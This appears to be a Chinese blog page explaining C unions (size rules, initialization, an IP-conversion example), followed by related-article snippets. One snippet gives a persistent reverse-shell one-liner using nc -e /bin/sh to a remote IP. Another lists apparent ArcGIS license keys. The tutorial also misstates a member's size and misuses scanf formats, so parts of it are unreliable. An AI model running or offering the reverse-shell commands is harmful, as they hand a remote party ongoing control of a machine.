C语言联合体

news/2025/1/14 23:28:55/

一、联合体的概念

联合 (union) 是一个能在同一个存储空间里 ( 但不同时) 存储不同类型数据的复合数据类型。
大致结构如下:
n union foo /* 定义一个联合类型foo */
n {
q int digit;
q double bigfl[10];
q char letter;
n }baz; /* 定义一个example类型的联合变量baz */

二、联合体大小计算规则

 联合体大小要至少能容纳最大的成员变量
 联合体大小要是所有成员变量类型最大值的整数倍 (注意是类型而不是变量)

因为联合体的存储是在同一个空间里的,所以在存储数据时,它会以里面所占字节数最大的那个数据类型的整数倍来作为整个联合体所占字节数的大小,如,在上面的代码中,联合体里面最大的数据类型是double,所以整个联合体所占字节数是8的整数倍,分析如下图:

在如上联合体中,该联合体共占80个字节。 因为digit是int型变量,占4个字节,而double  bigf[10]占80个字节,char占1个字节,所以联合体最小需>=80,而double又是里面最大的数据类型,所以该联合体的大小需为8的整数倍,故该联合体占80个字节,如图:

再如:

union U
{char s[9];int n;double d;
};

 该联合体中,char s[9]占1个字节,int n占4个字节,double d占8个字节,首先联合体所占字节数需满足>=9,而因为double是里面最大的数据类型,故该联合体的大小需为double的整数倍,在9和8中,16刚好满足即大余9又是8的整数倍,故所占字节数为16。

所占内存如图:

三、联合体的初始化

 联合体的初始化和结构体的类似,如图:

#include <stdio.h>
union IP
{unsigned char str[4];unsigned int digit;
};
int main()
{union IP ip;printf("Please enter IP address in string format:\n");scanf("%d.%d.%d.%d",&ip.str[0],&ip.str[1],&ip.str[2],&ip.str[3]);printf("IP address in digital format is: %u\n",ip.digit);return 0;
}

但是也有要注意的:

#include <stdio.h>union test{int a;char b;long c;
}u1;union s{int d;char e;
}u4;int main(void)
{//不允许对联合体所有成员进行初始化
//	union test u2 = {1,'c',32};union test u2 = {1};//如果指定元素初始化,则后面指定的会将前面指定的进行覆盖union test u3 = {.b = 'c',.a=65};printf("a = %d\n",u2.a);printf("b = %d\n",u2.b);printf("c = %ld\n",u2.c);printf("a = %d\n",u3.a);printf("b = %d\n",u3.b);printf("c = %ld\n",u3.c);return 0;
}


http://www.ppmy.cn/news/849365.html

相关文章

SQL Server JSON 数据操作

使用内置函数 (SQL Server) 验证、查询和更改 JSON 数据 使用 OPENJSON 分析和转换 JSON 数据 (SQL Server) 1、JSON 内置函数 ISJSON 测试字符串是否包含有效 JSON。 JSON_VALUE 从 JSON 字符串中提取标量值。 JSON_QUERY 从 JSON 字符串中提取对象或数组。 JSON_MODIFY 更…

[M双指针] lc80. 删除排序数组中的重复项 II(双指针+经典)

文章目录 1. 题目来源2. 题目解析 1. 题目来源 链接&#xff1a;80. 删除排序数组中的重复项 II 2. 题目解析 时间复杂度&#xff1a; O ( n ) O(n) O(n)。空间复杂度&#xff1a; O ( 1 ) O(1) O(1) 代码&#xff1a; class Solution { public:int removeDuplicates(vect…

北京瑞思凯fomblin galden

<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" /> Fomblin系列产品 1. Fomblin Greases( 润滑脂 I ) 产品型号: AQ055 BT055 AR555 AR855 CR861 CR2610 GRM07 GRM30 GRM60 2. Fomblin Greases( 润滑脂 II ) 产品型号: OT20 UT1…

相关资料0

[相关Blog文章] [转贴]游戏引擎演化史 2005-05-06 magus_yang 可移植、可扩展多人3D游戏引擎的设计与构架 2005-02-03 zhudelunalpha 由开发卡片游戏想到的 2006-05-14 coollen_mmx 游戏引擎 2004-08-07 gullsky 3D体素引擎与Ken Silverman 2006-04-08 wineceramic 关键技术实现…

2020全套许可ArcGIS93

2020全套许可ArcGIS93.ecp 3dengine,93,ecp.arcgis.engine,01-jan-2020,E9PJMH41XFHKEY115218 3dserver,93,ecp.arcgis.engine,01-jan-2020,ZZ0N2TSHJCDFFXJFA038 arcgisengine,93,ecp.arcgis.engine,01-jan-2020,NKLDFAXPP7GD60TSX039 arcgisserver,93,ecp.arcgis.engine,01-j…

100万并发连接服务器笔记之准备篇

http://www.blogjava.net/yongboy/archive/2013/04/09/397559.html http://blog.csdn.net/educast/article/details/23053509 前言 测试一个非常简单服务器如何达到100万&#xff08;1M1024K连接&#xff09;的并发连接&#xff0c;并且这些连接一旦连接上服务器&#xff0c;就…

持久化反弹一个能使用方向键的shell

服务端 ncat -lvnp 4444被控端 echo while true; do nc -e /bin/sh 10.0.3.4 5001; done > keep,sh chmod ax ./keep.sh sudo nohup ./keep.sh &提升到pty python -c import pty; pty.spawn("/bin/bash")进一步提升可以使用tab&#xff0c;方向键&#xff…

ruby_对象的比较_等于号_3个等于号_equal_eql

看case时&#xff0c;碰见了3等号操作符&#xff0c;需要确认一下细节了。 equal&#xff1f; 我们经常要比较两个对象&#xff0c;Ruby中提供了多种比较对象的方法。我们可以通过equal?方法比较两个对象是否相同&#xff0c;通过这种方式是比较两个值是否指向同一个对象的引用…